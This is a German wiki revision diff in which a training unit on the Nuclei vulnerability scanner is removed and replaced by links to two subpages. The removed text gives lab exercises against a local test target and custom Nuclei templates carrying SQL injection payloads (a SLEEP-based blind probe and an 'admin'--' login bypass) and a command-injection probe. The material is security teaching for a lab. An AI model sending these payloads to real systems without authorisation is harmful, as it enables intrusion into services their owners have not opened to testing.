Schwachstellenscans mit Nuclei: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde neu angelegt: „= Schulungseinheit: Schwachstellenscans mit Nuclei = == Thema == *Nuclei – Automatisierter Schwachstellenscanner mit YAML-basierten Templates == Ziel == *T…“)
 
 
(2 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
−
= Schulungseinheit: Schwachstellenscans mit Nuclei =
+
*[[nuclei-1]]
−
 
+
*[[nuclei-2]]
−
== Thema ==
 
−
*Nuclei – Automatisierter Schwachstellenscanner mit YAML-basierten Templates
 
−
 
 
−
== Ziel ==
 
−
*Teilnehmende verstehen Aufbau und Funktionsweise von Nuclei
 
−
*Sie führen zielgerichtete Schwachstellenscans durch und werten die Ergebnisse aus
 
−
*Sie lernen, eigene Templates für spezifische Lücken zu erstellen
 
−
 
 
−
= 1. Vorbereiten: Einstieg & Motivation =
 
−
*Nuclei ist ein schneller, template-basierter Schwachstellenscanner für Webanwendungen und Infrastruktur
 
−
*Es nutzt YAML-Templates zur Erkennung von Schwachstellen wie:
 
−
** CVEs
 
−
** OWASP Top 10
 
−
** Fehlkonfigurationen
 
−
** Technologieerkennung
 
−
** Header- oder Cookie-Manipulation
 
−
*Automatisierte Schwachstellenerkennung auf mehreren Targets gleichzeitig
 
−
*Einfache Integration in CI/CD, eigene Tools und Laborszenarien
 
−
 
 
−
= 2. Vormachen/Erklären: Grundlagen & Aufbau =
 
−
 
 
−
== Installation ==
 
−
* Offizielle Binärdatei:
 
−
curl -sL https://raw.githubusercontent.com/projectdiscovery/nuclei/v3/bin/install.sh | sh
 
−
* Oder mit Go:
 
−
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
 
−
 
 
−
== Templates aktualisieren ==
 
−
nuclei -update-templates
 
−
 
 
−
== Grundstruktur eines Befehls ==
 
−
nuclei -u <ziel> -t <template> -severity <level>
 
−
 
 
−
== Wichtige Optionen ==
 
−
* -u: Einzelnes Ziel (z.B. -u https://ziel.local)
 
−
* -l: Liste von Zielen (targets.txt)
 
−
* -t: Template oder Verzeichnis (z.B. cves/, exposures/)
 
−
* -severity: Filter nach Schweregrad
 
−
* -rate-limit: Requests pro Sekunde
 
−
* -timeout / -retries: Scan-Zuverlässigkeit
 
−
* -proxy: z.B. für Burp-Suite
 
−
* -json / -o: Berichte
 
−
 
 
−
== Beispielhafter Scan ==
 
−
nuclei -u https://ziel.local -t cves/ -severity critical -rate-limit 50
 
−
 
 
−
== Templates anzeigen ==
 
−
nuclei -tl
 
−
 
 
−
== Ergebnis speichern ==
 
−
nuclei -u https://ziel.local -o ergebnisse.json -json
 
−
 
 
−
= 3. Nachmachen/Üben: Aufgaben am Zielsystem =
 
−
 
 
−
== Voraussetzungen ==
 
−
*Angreifer: Kali-Linux mit Nuclei
 
−
*Ziel: Web-Appliance (z.B. DVWA, Metasploitable2) erreichbar unter http://10.0.10.104
 
−
*Datei mit Ziel-IP:
 
−
echo "http://10.0.10.104" > targets.txt
 
−
 
 
−
== Aufgabe 1 ==
 
−
*Führe einen allgemeinen Schwachstellenscan gegen das Ziel aus:
 
−
nuclei -l targets.txt -severity high,critical
 
−
 
 
−
== Aufgabe 2 ==
 
−
*Suche gezielt nach SQL-Injection-Lücken:
 
−
nuclei -l targets.txt -tags sqli
 
−
 
 
−
== Aufgabe 3 ==
 
−
*Unterscheide klassische SQLi von Blind SQLi:
 
−
nuclei -l targets.txt -tags sqli-blind
 
−
 
 
−
== Aufgabe 4 ==
 
−
*Finde eine funktionierende Command Injection:
 
−
nuclei -l targets.txt -tags cmd-injection
 
−
 
 
−
== Aufgabe 5 ==
 
−
*Scanne mit Proxy (z. B. Burp):
 
−
nuclei -l targets.txt -proxy http://127.0.0.1:8080
 
−
 
 
−
== Aufgabe 6 ==
 
−
*Erzeuge einen JSON-Report:
 
−
nuclei -l targets.txt -o report.json -json
 
−
 
 
−
= 4. Selbstständige Anwendung: Eigene Templates =
 
−
 
 
−
== Ziel ==
 
−
Teilnehmende erstellen ein eigenes Template für eine bekannte Schwachstelle
 
−
 
 
−
== Beispiel 1: Blind SQL Injection ==
 
−
<pre>
 
−
id: custom-blind-sqli
 
−
info:
 
−
  name: Blind SQLi Test (Sleep Delay)
 
−
  severity: high
 
−
  tags: sqli,blind
 
−
requests:
 
−
  - method: GET
 
−
    path:
 
−
      - "{{BaseURL}}/vuln.php?id=1' AND SLEEP(5)--"
 
−
    matchers:
 
−
      - type: dsl
 
−
        dsl:
 
−
          - duration>=5
 
−
</pre>
 
−
 
 
−
*Ausführen:
 
−
nuclei -t ./custom-blind-sqli.yaml -u http://10.0.10.104
 
−
 
 
−
== Beispiel 2: Command Injection ==
 
−
<pre>
 
−
id: custom-cmd-injection
 
−
info:
 
−
  name: CMD Injection (id)
 
−
  severity: critical
 
−
  tags: cmd-injection
 
−
requests:
 
−
  - method: GET
 
−
    path:
 
−
      - "{{BaseURL}}/cmd.php?cmd=id"
 
−
    matchers:
 
−
      - type: word
 
−
        words:
 
−
          - "uid="
 
−
</pre>
 
−
 
 
−
== Beispiel 3: POST-basierte SQL Injection ==
 
−
<pre>
 
−
id: custom-post-sqli
 
−
info:
 
−
  name: POST SQL Injection
 
−
  severity: high
 
−
  tags: sqli,post
 
−
requests:
 
−
  - method: POST
 
−
    path:
 
−
      - "{{BaseURL}}/login.php"
 
−
    body: "user=admin'--&pass=test"
 
−
    headers:
 
−
      Content-Type: application/x-www-form-urlencoded
 
−
    matchers:
 
−
      - type: word
 
−
        words:
 
−
          - "Welcome"
 
−
</pre>
 
−
 
 
−
= Hinweise zur Nachbereitung =
 
−
*Ergebnisse besprechen, kritisch hinterfragen
 
−
*Unterschiede zwischen False Positives und echten Lücken erkennen
 
−
*Sicherer Umgang mit Schwachstellen-Informationen
 
−
*Vorschläge zur Behebung
 
−
 
 
−
= Quellen =
 
−
*https://nuclei.projectdiscovery.io
 
−
*https://github.com/projectdiscovery/nuclei
 
−
*https://github.com/projectdiscovery/nuclei-templates
 
−
*https://owasp.org/www-project-web-security-testing-guide/
 

Aktuelle Version vom 12. Mai 2025, 16:02 Uhr